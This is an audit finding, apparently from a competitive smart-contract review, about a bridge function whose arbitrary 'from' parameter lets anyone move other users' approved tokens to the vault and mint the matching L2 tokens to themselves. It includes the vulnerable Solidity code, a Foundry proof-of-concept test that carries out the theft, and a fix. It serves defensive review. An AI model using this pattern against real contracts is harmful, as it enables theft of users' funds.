Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

The `from` address in `L1BossBridge::depositTokensToL2` can be any address which leads to sending `amount` from arbitrary address

Summary

A malicious user can use the L1BossBridge::depositTokensToL2 function to transfer tokens from arbitrary address that has approved tokens to his own address set in l2Recipient parameter.

Vulnerability Details

The function L1BossBridge::depositTokensToL2 has input parameter from that can be any address. Then the function calls the safeTransferFrom() function that uses this from parameter to transfer the amount to the vault. Also, the function depositTokensToL2 is external and can be called by anyone. In that way a malicious user can set the from parameter to be any address that has approved tokens to L1BossBridge contract.

@>function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
@> token.safeTransferFrom(from, address(vault), amount);
// Our off-chain service picks up this event and mints the corresponding tokens on L2
emit Deposit(from, l2Recipient, amount);
}

Impact

Let's consider the following scenario:

If Alice has approved the L1BossBridge contract to spend her tokens, then Bob could indeed call the depositTokensToL2 function with Alice's address as the from parameter and his own address as the l2Recipient parameter. This would result in Alice's tokens being transferred to the vault and the corresponding tokens being minted on L2 for Bob. The following test demonstrates this scenario. The test can be added to the file L1TokenBridge.t.sol and executed with the command: forge test --match-test testAttackerCanDepositTokensFromAnotherAddress. Of course, in the setUp() function of the file should be created addresses for alice and attacker.

function testAttackerCanDepositTokensFromAnotherAddress() public {
vm.startPrank(alice);
uint256 amount = 10e18;
// Alice approves tokens
token.approve(address(tokenBridge), amount);
vm.startPrank(attacker);
vm.expectEmit(address(tokenBridge));
emit Deposit(alice, attackerInL2, amount);
// Attacker calls depositTokensToL2 with `from`: alice address and `l2Recipient`: his address
tokenBridge.depositTokensToL2(alice, attackerInL2, amount);
assertEq(token.balanceOf(address(tokenBridge)), 0);
assertEq(token.balanceOf(address(vault)), amount);
vm.stopPrank();
}

Tools Used

VS Code, Foundry

Recommendations

The depositTokensToL2 function could be modified to use msg.sender as the from parameter, ensuring that only the owner of the tokens can initiate the deposit. Alternatively, an additional authorization check could be added to ensure that the caller of the depositTokensToL2 function is the same as the from address.

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

depositTokensToL2(): abitrary from address

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.